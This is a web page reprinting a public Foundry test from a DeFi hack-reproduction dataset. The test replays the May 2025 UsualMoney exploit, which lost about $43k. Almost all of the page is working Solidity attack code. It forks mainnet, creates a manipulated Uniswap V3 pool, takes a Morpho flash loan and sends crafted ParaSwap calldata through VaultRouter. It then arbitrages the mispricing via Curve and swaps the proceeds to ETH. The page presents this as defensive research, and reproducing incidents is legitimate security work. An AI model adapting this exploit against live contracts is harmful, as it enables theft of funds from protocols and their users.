Skip to content
THREATWIRE

Public reproduction file

src/test/2025-05/UsualMoney_exp.sol

Public reproduction file for dataset entry UsualMoney.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-05/UsualMoney_exp.sol226 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5
6// @KeyInfo - Total Lost : 43k USD
7// Attacker : https://etherscan.io/address/0x2ae2f691642bb18cd8deb13a378a0f95a9fee933
8// Attack Contract : https://etherscan.io/address/0xf195b8800b729aee5e57851dd4330fcbb69f07ea
9// Vulnerable Contract : https://etherscan.io/address/0x35d8949372d46b7a3d5a56006ae77b215fc69bc0
10// Attack Tx : https://etherscan.io/tx/0x585d8be6a0b07ca2f94cfa1d7542f1a62b0d3af5fab7823cbcf69fb243f271f8
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x35d8949372d46b7a3d5a56006ae77b215fc69bc0#code
16// @Analysis
17// Post-mortem : https://www.quadrigainitiative.com/hackfraudscam/usualmoneyusdssyncvaultpricingarbitrageexploit.php
18// Twitter Guy : https://x.com/BlockSecTeam/status/1927601457815040283
19// Hacking God : https://x.com/tonykebot/status/1927603610180788499
22contract UsualMoney is BaseTestWithBalanceLog {
23 uint256 blocknumToForkFrom = 22575930 - 1;
24 uint256 borrowAmount = 1899838465685386939269479;
25 uint256 private uniV3TokenId;
28 //Related contracts
29 IWETH constant WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
30 IERC20 constant USD0Plus = IERC20(0x35D8949372D46B7a3D5A56006AE77B215fc69bC0);
31 IERC20 constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
32 IERC20 constant USD0 = IERC20(0x73A15FeD60Bf67631dC6cd7Bc5B6e8da8190aCF5);
33 IERC20 constant sUSDS = IERC20(0xa3931d71877C0E7a3148CB7Eb4463524FEc27fbD);
34 ICurvePool constant USD0USD0Pool = ICurvePool(0x1d08E7adC263CfC70b1BaBe6dC5Bb339c16Eec52);
35 INonfungiblePositionManager constant UNI_V3_POS = INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
36 address constant UniV3_Router = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
37 IVaultRouter constant VaultRouter = IVaultRouter(0xE033cb1bB400C0983fA60ce62f8eCDF6A16fcE09);
38 IMorphoBlue constant morphoBlue = IMorphoBlue(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb);
41 function setUp() public {
42 vm.createSelectFork("mainnet", blocknumToForkFrom);
43 fundingToken = address(0);
44 // Deal 10 sUSDS tokens to this contract for initial liquidity provision
45 deal(address(sUSDS), address(this), 10);
46 }
48 function testExploit() public balanceLog {
49 // Approve UNI_V3_POS to spend sUSDS for minting liquidity position
50 sUSDS.approve(address(UNI_V3_POS), 10);
51 // Create and initialize Uniswap V3 pool for USD0/sUSDS if it doesn't exist
52 UNI_V3_POS.createAndInitializePoolIfNecessary(address(USD0), address(sUSDS), 500, 181769597477799861);
54 // Prepare parameters for minting a small liquidity position in Uniswap V3
55 INonfungiblePositionManager.MintParams memory mintParams = INonfungiblePositionManager.MintParams({
56 token0: address(USD0),
57 token1: address(sUSDS),
58 fee: 500,
59 tickLower: -536050,
60 tickUpper: -536040,
61 amount0Desired: 0,
62 amount1Desired: 10,
63 amount0Min: 0,
64 amount1Min: 0,
65 recipient: address(this),
66 deadline: 1748370729
67 });
68 // Mint the liquidity position (this sets up the pool for manipulation)
69 UNI_V3_POS.mint(mintParams);
71 // Initiate Morpho Blue flash loan with USD0Plus, borrowing the specified amount
72 morphoBlue.flashLoan(address(USD0Plus), borrowAmount, bytes(""));
73 }
75 function onMorphoFlashLoan(uint256 fee, bytes calldata data) external {
76 USD0Plus.approve(address(VaultRouter), borrowAmount);
77 USD0Plus.approve(address(morphoBlue), USD0Plus.balanceOf(address(this)));
80 // Declare VaultRouter deposit parameters.
81 address augustus = 0xDEF171Fe48CF0115B1d80b88dc8eAB59176FEe57;
82 address tokenIn = address(USD0Plus);
83 uint256 amountIn = 1899838465685386939269479;
85 // Deposit borrowed USD0Plus to VaultRouter, which performs a swap via ParaSwap
86 VaultRouter.deposit(
87 IParaSwapAugustus(augustus),
88 tokenIn,
89 amountIn,
90 1,
91 0,
92 address(this),
93 hex"a6886da9000000000000000000000000000000000000000000000000000000000000002000000000000000000000000073a15fed60bf67631dc6cd7bc5b6e8da8190acf5000000000000000000000000a3931d71877c0e7a3148cb7eb4463524fec27fbd000000000000000000000000e592427a0aece92de3edee1f18e0157c0586156400000000000000000000000000000000000000000001924e73188d44bfd301670000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000068360529000000000000000000000000e033cb1bb400c0983fa60ce62f8ecdf6a16fce090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e033cb1bb400c0983fa60ce62f8ecdf6a16fce0900000000000000000000000000000000000000000000000000000000000001c00000000000000000000000000000000000000000000000000000000000000220d3ba174c721349ff915ec624c071422a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002b73a15fed60bf67631dc6cd7bc5b6e8da8190acf50001f4a3931d71877c0e7a3148cb7eb4463524fec27fbd00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
94 );
97 // Decrease liquidity from the Uniswap V3 position to retrieve tokens
98 UNI_V3_POS.decreaseLiquidity(INonfungiblePositionManager.DecreaseLiquidityParams({
99 tokenId: 998318,
100 liquidity: 8720452440564722,
101 amount0Min: 0,
102 amount1Min: 0,
103 deadline: 1748370719
104 }));
106 // Collect the tokens from the Uniswap V3 position
107 UNI_V3_POS.collect(INonfungiblePositionManager.CollectParams({
108 tokenId: 998318,
109 recipient: address(this),
110 amount0Max: type(uint128).max,
111 amount1Max: type(uint128).max
112 }));
114 // Approve USD0USD0Pool to spend USD0 for exchange
115 USD0.approve(address(USD0USD0Pool), USD0.balanceOf(address(this)));
116 // Exchange USD0 to USD0Plus in the Curve pool (index 0 to 1)
117 USD0USD0Pool.exchange(0, 1, USD0.balanceOf(address(this)), 0, address(this));
118 // Approve Morpho Blue to spend the borrowed amount (for repayment)
119 USD0Plus.approve(address(morphoBlue), borrowAmount);
120 // Approve USD0USD0Pool to spend some USD0Plus for reverse exchange
121 USD0Plus.approve(address(USD0USD0Pool), 43847725777335611631336);
122 // Exchange USD0Plus back to USD0 in the Curve pool (index 1 to 0), profiting from the mispricing.
123 USD0USD0Pool.exchange(1, 0, 43847725777335611631336, 0, address(this));
125 // Approve UniV3_Router to spend USD0 for the swap
126 USD0.approve(address(UniV3_Router), USD0.balanceOf(address(this)));
128 // Perform exact input swap on Uniswap V3: USD0 -> USDC (0.01% fee) -> WETH (0.05% fee)
129 ISwapRouter(payable(UniV3_Router)).exactInput(
130 ISwapRouter.ExactInputParams({
131 path: abi.encodePacked(address(USD0), uint24(100), address(USDC), uint24(500), address(WETH)),
132 recipient: address(this),
133 deadline: 1748370719,
134 amountIn: 42973674683230843641696,
135 amountOutMinimum: 0
136 })
137 );
138 // Withdraw WETH to ETH (native token)
139 WETH.withdraw(WETH.balanceOf(address(this)));
140 }
142 receive() external payable {}
145interface IERC20 {
146 function approve(address spender, uint256 amount) external returns (bool);
147 function balanceOf(address account) external view returns (uint256);
150interface IWETH is IERC20 {
151 function withdraw(uint256 wad) external;
154interface ICurvePool {
155 function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy, address receiver) external returns (uint256);
156 function getUnwrapCap(address _receiver) external view returns (uint256);
160interface INonfungiblePositionManager {
161 struct MintParams {
162 address token0;
163 address token1;
164 uint24 fee;
165 int24 tickLower;
166 int24 tickUpper;
167 uint256 amount0Desired;
168 uint256 amount1Desired;
169 uint256 amount0Min;
170 uint256 amount1Min;
171 address recipient;
172 uint256 deadline;
173 }
174 function mint(MintParams calldata params) external payable returns (uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1);
176 struct DecreaseLiquidityParams {
177 uint256 tokenId;
178 uint128 liquidity;
179 uint256 amount0Min;
180 uint256 amount1Min;
181 uint256 deadline;
182 }
183 function decreaseLiquidity(DecreaseLiquidityParams calldata params) external payable returns (uint256 amount0, uint256 amount1);
185 struct CollectParams {
186 uint256 tokenId;
187 address recipient;
188 uint128 amount0Max;
189 uint128 amount1Max;
190 }
191 function collect(CollectParams calldata params) external payable returns (uint256 amount0, uint256 amount1);
193 function createAndInitializePoolIfNecessary(address token0, address token1, uint24 fee, uint160 sqrtPriceX96) external payable returns (address pool);
196interface IMorphoBlue {
197 function flashLoan(address token, uint256 assets, bytes calldata data) external;
202interface IParaSwapAugustus {}
205interface IVaultRouter {
206 function deposit(
207 IParaSwapAugustus augustus,
208 address tokenIn,
209 uint256 amountIn,
210 uint256 minTokensToReceive,
211 uint256 minSharesToReceive,
212 address receiver,
213 bytes calldata swapData
214 ) external payable returns (uint256 sharesReceived);
217interface ISwapRouter {
218 struct ExactInputParams {
219 bytes path;
220 address recipient;
221 uint256 deadline;
222 uint256 amountIn;
223 uint256 amountOutMinimum;
224 }
225 function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut);

Analysis

Dataset entry

Public Foundry test for “UsualMoney” (2025-05-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

16 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x2ae2f691642bb18cd8deb13a378a0f95a9fee933

  • Attack Contract

    0xf195b8800b729aee5e57851dd4330fcbb69f07ea

  • Vulnerable Contract

    0x35d8949372d46b7a3d5a56006ae77b215fc69bc0

  • Attack Tx

    0x585d8be6a0b07ca2f94cfa1d7542f1a62b0d3af5fab7823cbcf69fb243f271f8

File record

Name
UsualMoney
Path
src/test/2025-05/UsualMoney_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
ff57f6074a3f22277e3bd6168a23b13270edfa8a
Language
Solidity
Size
227 lines
Date
2025-05-27
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-05/UsualMoney_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ff57f6074a3f22277e3bd6168a23b13270edfa8a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.